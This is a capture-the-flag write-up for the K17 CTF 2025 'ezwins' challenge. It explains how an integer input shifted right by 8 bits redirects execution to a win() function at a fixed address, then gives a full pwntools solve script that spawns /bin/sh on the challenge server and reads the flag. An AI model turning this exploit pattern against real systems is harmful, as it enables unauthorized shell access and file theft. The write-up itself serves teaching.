Binary Exploitation

Overview

K17 CTF · 2025

category: reversing (with a light pwn twist)

Imported from K17CTF_2025/pwn/ezwins.

Overview

category: reversing (with a light pwn twist)

given: a single Linux binary “chal”

goal: gain code execution/trigger the hidden win() to get a shell and read the flag

Analysis

File info:

  • Chal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=721a2bd2a42a853567e165a94dd30e70afc27536, for GNU/Linux 3.2.0, not stripped

Checksec:

  • RELRO: Partial

  • Stack Canary: found

  • NX: enabled

  • PIE: No PIE

  • RPATH/RUNPATH: none

  • Symbols: present

Program flow:

 ./chal
Hello! Let's get to know you a bit better.
What's your name?
chris
How old are you?
20
Segmentation fault (core dumped)

Quick reversing (ghidra):

  • Main prints two prompts, reads a name (safe; fgets) and then reads an integer age using scanf(“%lld”). there is a function named win at 0x4011f6 which does system(“/bin/sh”). because PIE is disabled, the address of win is fixed at 0x4011f6.

How control flow reaches win:

  • By sending the raw address 0x4011f6 as the “age” doesn’t work; in gdb, giving 4198902 (which is 0x4011f6) crashes trying to jump to 0x4011. that tells us the program shifts the provided number right by 8 bits before using it as a target. therefore we must send a number X such that (X >> 8) == 0x4011f6. solution: X = 0x4011f6 << 8 = 0x4011f600 = 1074918912 (decimal).

Exploit strategy:

provide any name (e.g., “AAAA”).

when asked for age, send 1074918912 (decimal).

program computes age >> 8 → 0x4011f6 and jumps/calls into win, giving a /bin/sh.

read the flag.

Implementation (final solve script)

#!/usr/bin/env python3
from pwn import *
import sys, time, os

---------- config ----------

exe = './chal' # local binary (if present)
context.log_level = 'info' # set 'debug' for more verbosity
win_addr = 0x4011f6 # from ghidra / nm
send_X = win_addr << 8 # must send this decimal -> 1074918912
name = b"AAAA"

----------------------------

gdbscript = '''
init-pwndbg
continue
'''

def start(argv=[], *a, **kw):
"""
Robust start helper:
- python3 solve.py -> local binary (if exists)
- python3 solve.py REMOTE host port
- python3 solve.py host port
"""
print("DEBUG: sys.argv =", sys.argv)

if args.GDB:
    if not os.path.exists(exe):
        raise SystemExit("Local exe not found for GDB run.")
    return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)

if 'REMOTE' in sys.argv:
    idx = sys.argv.index('REMOTE')
    if len(sys.argv) > idx + 2:
        host = sys.argv[idx + 1]
        port = int(sys.argv[idx + 2])
        return remote(host, port, *a, **kw)
    if len(sys.argv) > idx + 1 and ':' in sys.argv[idx + 1]:
        host, port = sys.argv[idx + 1].split(':',1)
        return remote(host, int(port), *a, **kw)
    raise SystemExit("Usage: python3 solve.py REMOTE host port")

if len(sys.argv) >= 3:
    try:
        host = sys.argv[1]
        port = int(sys.argv[2])
        return remote(host, port, *a, **kw)
    except Exception:
        pass

if os.path.exists(exe):
    return process([exe] + argv, *a, **kw)

raise SystemExit("No remote args found and local exe not present. Usage:\n"
                 "  python3 solve.py REMOTE host port\n  or\n"
                 "  python3 solve.py host port\n  or run locally with ./chal present")


io = start()

def safe_recv(timeout=0.5):
try:
return io.recv(timeout=timeout)
except EOFError:
return b''
except Exception:
return b''

try:
banner = safe_recv(timeout=1)
if banner:
log.info("Initial banner:\n" + banner.decode(errors='ignore'))

log.info("Sending name...")
io.sendline(name)

after_name = safe_recv(timeout=1)
if after_name:
    log.info("After name:\n" + after_name.decode(errors='ignore'))

log.info(f"Sending age -> decimal {send_X} (win << 8)")
io.sendline(str(send_X).encode() + b"\n")

time.sleep(0.2)
after_age = safe_recv(timeout=1)
if after_age:
    log.info("After sending age:\n" + after_age.decode(errors='ignore'))
else:
    log.info("No output after sending age (connection may have closed).")

# Probe for shell

try:
    marker = "CTF_MARKER_OK_123"
    log.info("Probing for shell by echoing a marker...")
    io.sendline(f"echo {marker}".encode())
    out = io.recvuntil(marker.encode(), timeout=2)
    log.success("Marker seen! Probably have a shell. Received:\n" + out.decode(errors='ignore'))

    # try some common flag paths quickly; drop to interactive either way
    for path in [b'/flag', b'/app/flag', b'/flag.txt', b'/app/flag.txt', b'/home/ctf/flag', b'/home/ctf/flag.txt']:
        io.sendline(b'cat ' + path)
        line = io.recvline(timeout=1)
        if line and b'No such file' not in line:
            log.success("Flag: " + line.decode(errors='ignore').strip())
            break

    io.interactive()

except EOFError:
    log.error("Remote closed connection while probing -> no shell obtained.")
    tail = safe_recv(timeout=1)
    if tail:
        log.info("Final bytes from server:\n" + tail.decode(errors='ignore'))
    raise SystemExit(1)
except Exception as e:
    log.warning("Timeout or probe failed: " + repr(e))
    tail = safe_recv(timeout=1)
    if tail:
        log.info("Recent bytes:\n" + tail.decode(errors='ignore'))
    raise SystemExit(1)


except Exception:
log.exception("Unhandled exception - dumping final bytes")
tail = safe_recv(timeout=1)
if tail:
log.info("Final bytes:\n" + tail.decode(errors='ignore'))
sys.exit(1)

usage

local: python3 solve.py

remote (two-arg): python3 solve.py challenge.secso.cc 8001

remote (explicit keyword): python3 solve.py REMOTE challenge.secso.cc 8001

proof

after sending the decimal 1074918912 the program jumps into win and spawns /bin/sh.

reading the flag yields:

K17{d1dn7_kn0w_u_c0u1d_b3_4ddr355_0f_w1n_m4ny_y34r5_0ld}

Takeaways

no PIE means function addresses are stable; you can lift them straight from ghidra/nm.

sometimes the program will mangle your integer before using it (here, a right shift by 8). gdb symptoms (jumping to a truncated address like 0x4011) are a great hint to re-check bit operations.

even with stack canary and NX, you can still win by steering an indirect call/jump to a fixed win() gadget.